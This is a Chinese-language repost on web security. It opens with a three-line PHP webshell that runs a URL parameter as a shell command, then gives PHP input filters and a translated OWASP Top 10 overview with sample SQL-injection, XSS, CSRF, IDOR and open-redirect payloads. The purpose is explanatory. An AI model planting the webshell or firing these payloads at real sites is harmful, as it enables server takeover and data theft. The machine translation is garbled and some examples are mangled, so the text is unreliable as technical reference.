网站安全

webshellphp

 

发现这个也是巧合,我就直接说了吧html

<?php
//t.php
$test = $_GET['r'];
echo `$test`;
?>

你们看看这个代码有木有问题?mysql

 我想你们都会说没有问题,可是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为何要这样了,web

信息安全团队 并且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键 感叹号!旁边的,算法

专一信息安全经过 echo `系统命令`; 能够达到 system(); 同样的效果sql

 

 

1、最基本的SQL注入shell

//防止SQl注入函数数据库

//给提交到服务器端的数据用这个函数过滤一下
(1)编程

function data_filter($data){
    if (get_magic_quotes_gpc()) {  
        return $data = stripslashes($data); 
    }else{  
        return $data = mysql_real_escape_string($data); 
    } 
}后端

(2)

if (ini_get('magic_quotes_gpc')) {
function stripslashesRecursive(array $array){
foreach ($array as $k => $v) {
if (is_string($v)){
$array[$k] = stripslashes($v);
} else if (is_array($v)){
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
}

 

2、本身平台的一个表单提交入库,别人是能够知道你的这个地址,他本身在另外一个服务器写一个表单脚本用for循环不断提交表单给此地址,此地址若是没作防御,则会被这种行为形成数据库崩溃,因此说我们待想个办法,以下:

/*
 * PHP防止站外提交数据的方法防止站外有人写循环攻击数据库
 * 域名一致性判断
 */
function CheckURL(){  
$servername=$_SERVER['SERVER_NAME'];    //当前服务器域名
$sub_from=$_SERVER["HTTP_REFERER"];     //上一个页面的服务器域名
$sub_len=strlen($servername);                  
$checkfrom=substr($sub_from,7,$sub_len);   
if($checkfrom!=$servername)die("孩子,你是要经过这种方式搞个人数据库?想一想其余方法吧 f u c k!");  //校验一致性便可
}  

3、经过浏览器,提交了表单,数据库操做成功了,可是他经过浏览器的返回,返回上一页,又一次提交数据,这样会形成一条信息屡次填写,如何避免,很简单以下:

 window.history.forward(1); //加到js里面,他就  回不去了,,,回不去了,,,咱们已成过去回不去了……
---------------------
做者:锲而不舍
来源:CSDN
原文:https://blog.csdn.net/qq1355541448/article/details/42265375
版权声明:本文为博主原创文章,转载请附上博文连接!

 

OWASP或Open Web Security Project是一家非营利性慈善组织,致力于提升软件和Web应用程序的安全性。 
该组织根据来自各类安全组织的数据发布顶级Web安全漏洞列表。 
根据可利用性,可检测性和对软件的影响,Web安全漏洞具备优先级。 
  • 可开发性 - 
    利用安全漏洞须要什么?当攻击仅须要Web浏览器且最低级别是高级编程和工具时,可攻击性最高。
  • 可检测性 - 
    检测威胁有多容易?最高的是显示在URL,表单或错误消息上的信息,最低的是源代码。
  • 影响或损坏 - 
    若是安全漏洞暴露或受到攻击,将会形成多大的破坏?最高的是完整的系统崩溃,最低的是什么都没有。
OWASP Top 10的主要目标是向开发人员,设计人员,经理,架构师和组织介绍最重要的安全漏洞。 
根据OWASP Top 10,十大安全漏洞是: 
  • SQL注入
  • 跨站脚本
  • 身份验证和会话管理中断
  • 不安全的直接对象引用
  • 跨站点请求伪造
  • 安全配置错误
  • 不安全的加密存储
  • 没法限制URL访问
  • 传输层保护不足
  • 未经验证的重定向和转发
SQL注入 

 
描述 

注入是一个安全漏洞,容许攻击者经过操纵用户提供的数据来更改后端 SQL语句。 
当用户输入做为命令或查询的一部分被发送到解释器而且欺骗解释器执行非预期的命令而且容许访问未受权的数据时,发生注入。 
由Web应用程序执行时的SQL命令也能够公开后端数据库。 
意义 
  • 攻击者能够将恶意内容注入易受攻击的字段。
  • 能够从数据库中读取敏感数据,如用户名,密码等。
  • 能够修改数据库数据(插入/更新/删除)。
  • 管理操做能够在数据库上执行
易受攻击的对象 
  • 输入字段
  • 与数据库交互的URL。
例子: 
  • 登陆页面上的SQL注入
在没有有效凭据的状况下登陆应用程序。 
有效的userName可用,密码不可用。 
测试网址:http://demo.testfire.net/default.aspx 
用户名:sjones 
密码:1 = 1'或pass123 
建立SQL查询并将其发送到Interpreter,以下所示 
SELECT * FROM Users WHERE User_Name = sjones AND Password = 1 = 1'或pass123; 
建议 
  1. 白名单列出输入字段
  2. 避免显示对攻击者有用的详细错误消息。
跨站脚本 

描述 
Cross Site Scripting也简称为XSS。 
XSS漏洞针对嵌入在客户端(即用户浏览器而不是服务器端)的页面中嵌入的脚本。当应用程序获取不受信任的数据并将其发送到Web浏览器而未经适当验证时,可能会出现这些缺陷。 
在这种状况下受害者浏览器,攻击者可使用XSS对用户执行恶意脚本。因为浏览器没法知道脚本是否可靠,脚本将被执行,攻击者能够劫持会话cookie,破坏网站或将用户重定向到不须要的恶意网站。 
XSS是一种攻击,容许攻击者在受害者的浏览器上执行脚本。 

意义: 
  • 利用此安全漏洞,攻击者能够将脚本注入应用程序,能够窃取会话cookie,破坏网站,并能够在受害者的计算机上运行恶意软件。
易受攻击的对象 
  • 输入字段
  • 网址
例子 
1. http://www.vulnerablesite.com/home?" < script > alert(" xss") </ script > 
上述脚本在浏览器上运行时,若是站点易受XSS攻击,将显示一个消息框。 
若是攻击者想要显示或存储会话cookie,则能够进行更严重的攻击。 
2. http://demo.testfire.net/search.aspx?txtSearch <iframe > <src = http://google.com width = 500 height 500> </ iframe> 
上面的脚本运行时,浏览器会加载一个指向http://google.com的隐形框。 
经过在浏览器上运行恶意脚本可使攻击变得严重。 
建议 
  1. 白名单输入字段
  2. 输入输出编码
身份验证和会话管理中断 

描述 
网站一般为每一个有效会话建立会话cookie和会话ID,这些cookie包含敏感数据,如用户名,密码等。当会话经过注销或浏览器忽然关闭结束时,这些cookie应该无效,即每一个会话应该有一个新的cookie。 
若是cookie未失效,则敏感数据将存在于系统中。例如,使用公共计算机(Cyber Cafe)的用户,易受攻击的站点的cookie位于系统上并暴露给攻击者。攻击者在一段时间后使用相同的公共计算机,敏感数据会受到损害。 
以一样的方式,用户使用公共计算机,而不是注销,他忽然关闭浏览器。攻击者使用相同的系统,当浏览同一个易受攻击的站点时,受害者的上一个会话将被打开。攻击者能够经过窃取我的资料信息,信用卡信息等作任何他想作的事情。 
应该进行检查以找到身份验证和会话管理的强度。密钥,会话令牌,cookie应该在不影响密码的状况下正确实施。 
易受攻击的对象 
  • 在URL上公开的会话ID可能致使会话固定攻击。
  • 注销和登陆先后的会话ID相同。
  • 会话超时未正确实施。
  • 应用程序为每一个新会话分配相同的会话ID。
  • 应用程序的通过身份验证的部分使用SSL进行保护,密码以散列或加密格式存储。
  • 会话可由低权限用户重用。
意义 
  • 利用此漏洞,攻击者能够劫持会话,对系统进行未经受权的访问,从而容许泄露和修改未经受权的信息。
  • 使用盗取的cookie或使用XSS的会话能够高举会话。
例子 
  1. 航空公司预订应用程序支持URL重写,将会话ID放在URL中: 
    http://Examples.com/sale/saleitems;jsessionid=2P0OC2oJM0DPXSNQPLME34SERTBG/dest=Maldives(出售马尔代夫门票) 

    该网站的通过身份验证的用户但愿让他的朋友了解该销售并发送电子邮件。朋友收到会话ID,可用于进行未经受权的修改或滥用保存的信用卡详细信息。
  2. 应用程序容易受到XSS攻击,攻击者能够经过XSS访问会话ID并可用于劫持会话。
  3. 应用程序超时未正确设置。用户使用公共计算机并关闭浏览器,而不是注销并离开。攻击者稍后使用相同的浏览器,并对会话进行身份验证。
建议 
  1. 应根据OWASP应用程序安全验证标准定义全部身份验证和会话管理要求。
  2. 永远不要在URL或日志中公开任何凭据。
  3. 还应该作出很大的努力来避免可用于窃取会话ID的XSS漏洞。

不安全的直接对象引用 

描述 
当开发人员公开对内部实现对象的引用(例如URL或FORM参数中的文件,目录或数据库键)时,就会发生这种状况。攻击者可使用此信息访问其余对象,并能够建立未来的攻击来访问未经受权的数据。 
意义 
  • 使用此漏洞,攻击者能够访问未经受权的内部对象,能够修改数据或破坏应用程序。
易受攻击的对象 
  • 在URL中。
例子: 
更改如下URL中的“userid”可使攻击者查看其余用户的信息。 
http://www.vulnerablesite.com/userid=123修改成http://www.vulnerablesite.com/userid=124 
攻击者能够经过更改用户标识值来查看其余信息。 
建议: 
  1. 实施访问控制检查。
  2. 避免在URL中公开对象引用。
  3. 验证对全部引用对象的受权。
跨站点请求伪造 

描述 
Cross Site Request Forgery是来自跨站点的伪造请求。 
CSRF攻击是指恶意网站,电子邮件或程序致使用户的浏览器在用户当前已对其进行身份验证的受信任站点上执行不须要的操做时发生的攻击。 
CSRF攻击强制登陆受害者的浏览器向易受攻击的Web应用程序发送伪造的HTTP请求,包括受害者的会话cookie和任何其余自动包含的身份验证信息。 
当用户在登陆原始网站时点击URL时,攻击者将向受害者发送连接,该数据将从网站上被窃取。 
意义 
  • 将此漏洞用做攻击者能够更改用户配置文件信息,更改状态,表明管理员建立新用户等。
易受攻击的对象 
  • 用户档案页面
  • 用户账户表单
  • 商业交易页面
例子 
受害者使用有效凭据登陆银行网站。他收到攻击者的邮件说“请点击此处捐赠1美圆。” 
当受害者点击它时,将建立一个有效请求以向特定账户捐赠1美圆。 
http://www.vulnerablebank.com/transfer.do?account=cause&amount=1 
攻击者捕获此请求并建立如下请求,并嵌入一个按钮,说“我支持缘由”。 
http://www.vulnerablebank.com/transfer.do?account=Attacker&amount=1000 
因为会话已经过身份验证而且请求经过银行网站发送,所以服务器将向攻击者转移1000美圆。 
建议 
  1. 在执行敏感操做时强制用户在场。
  2. 实现CAPTCHA,从新认证和惟一请求令牌等机制。
安全配置错误 

描述 
必须为应用程序,框架,应用程序服务器,Web服务器,数据库服务器和平台定义和部署安全性配置。若是这些配置正确,攻击者可能会未经受权访问敏感数据或功能。 
有时这种缺陷会致使系统彻底妥协。保持软件最新也是很好的安全性。 
意义 
  • 利用此漏洞,攻击者能够枚举底层技术和应用程序服务器版本信息,数据库信息并获取有关应用程序的信息以进行更多攻击。
易受攻击的对象 
  • 网址
  • 表格字段
  • 输入字段
例子 
  1. 应用程序服务器管理控制台将自动安装,不会被删除。默认账户不会更改。攻击者可使用默认密码登陆,并能够得到未经受权的访问。
  2. 您的服务器上未禁用目录列表。攻击者发现并能够简单地列出目录以查找任何文件。
建议 
  1. 强大的应用程序架构,可在组件之间提供良好的分离和安全性。
  2. 更改默认用户名和密码。
  3. 禁用目录列表并实施访问控制检查。
不安全的加密存储 

描述 
不安全的加密存储是一种常见的漏洞,在敏感数据未安全存储时存在。 
用户凭据,配置文件信息,健康详细信息,信用卡信息等属于网站上的敏感数据信息。 
该数据将存储在应用程序数据库中。若是不使用加密或散列*来不正确地存储此数据,则它将容易受到攻击者的攻击。 
(* Hashing是将字符串字符转换为固定长度或密钥的较短字符串。要解密字符串,用于造成密钥的算法应该可用) 
意义 
  • 经过使用此漏洞,攻击者能够窃取,修改此类受弱保护的数据,以进行身份盗用,信用卡欺诈或其余犯罪。
易受攻击的对象 
  • 应用数据库。
例子 
在其中一个银行应用程序中,密码数据库使用未加保留的哈希*来存储每一个人的密码。SQL注入漏洞容许攻击者检索密码文件。全部未加盐的哈希均可以在任什么时候候强行进行,而盐渍的密码则须要数千年的时间。 
(*无盐哈希 - 盐是附加到原始数据的随机数据。在哈希以前将盐附加到密码) 
建议 
  1. 确保适当的强标准算法。不要建立本身的加密算法。仅使用通过批准的公共算法,如AES,RSA公钥加密和SHA-256等。
  2. 确保异地备份已加密,但密钥是单独管理和备份的。
没法限制URL访问 

描述 
Web应用程序在呈现受保护的连接和按钮以前检查URL访问权限 每次访问这些页面时,应用程序都须要执行相似的访问控制检查。 
在大多数应用程序中,特权页面,位置和资源不会呈现给特权用户。 
经过智能猜想,攻击者能够访问权限页面。攻击者能够访问敏感页面,调用函数和查看机密信息。 
意义 
  • 利用此漏洞攻击者能够访问未经受权的URL,而无需登陆应用程序并利用此漏洞。攻击者能够访问敏感页面,调用函数和查看机密信息。
易受攻击的对象: 
  • 网址
例子 
  1. 攻击者注意到URL表示角色为“/ user / getaccounts”。他修改成“/ admin / getaccounts”。
  2. 攻击者能够将角色附加到URL。
http://www.vulnerablsite.com能够修改成http://www.vulnerablesite.com/admin 
建议 
  1. 实施强大的访问控制检查。
  2. 身份验证和受权策略应基于角色。
  3. 限制对不须要的URL的访问。
传输层保护不足 

描述 
处理用户(客户端)和服务器(应用程序)之间的信息交换。应用程序常常经过网络传输敏感信息,如身份验证详细信息,信用卡信息和会话令牌。 
经过使用弱算法或使用过时或无效的证书或不使用SSL,能够容许将通讯暴露给不受信任的用户,这可能会危及Web应用程序和/或窃取敏感信息。 
意义 
  • 利用此Web安全漏洞,攻击者能够嗅探合法用户的凭据并获取对该应用程序的访问权限。
  • 能够窃取信用卡信息。
易受攻击的对象 
  • 经过网络发送的数据。
建议 
  1. 启用安全HTTP并仅经过HTTPS强制执行凭据传输。
  2. 确保您的证书有效且未过时。
例子: 
1.不使用SSL的应用程序,攻击者只会监视网络流量并观察通过身份验证的受害者会话cookie。攻击者能够窃取该cookie并执行Man-in-the-Middle攻击。 

未经验证的重定向和转发 

描述 
Web应用程序使用不多的方法将用户重定向并转发到其余页面以实现预期目的。 
若是在重定向到其余页面时没有正确的验证,攻击者能够利用此功能,并能够将受害者重定向到网络钓鱼或恶意软件站点,或者使用转发来访问未经受权的页面。 
意义 
  • 攻击者能够向用户发送包含附加编码恶意URL的真实URL的URL。用户只需看到攻击者发送的URL的真实部分就能够浏览它并可能成为受害者。
例子 
1. http://www.vulnerablesite.com/login.aspx?redirectURL=ownsite.com 
修改成 
http://www.vulnerablesite.com/login.aspx?redirectURL=evilsite.com 
建议 
  1. 只需避免在应用程序中使用重定向和转发。若是使用,请不要在计算目的地时使用用户参数。
  2. 若是没法避免目标参数,请确保提供的值有效,并为用户受权。

转载请注明本文连接: http://www.mayidui.net/t2095.html

相关文章
相关标签/搜索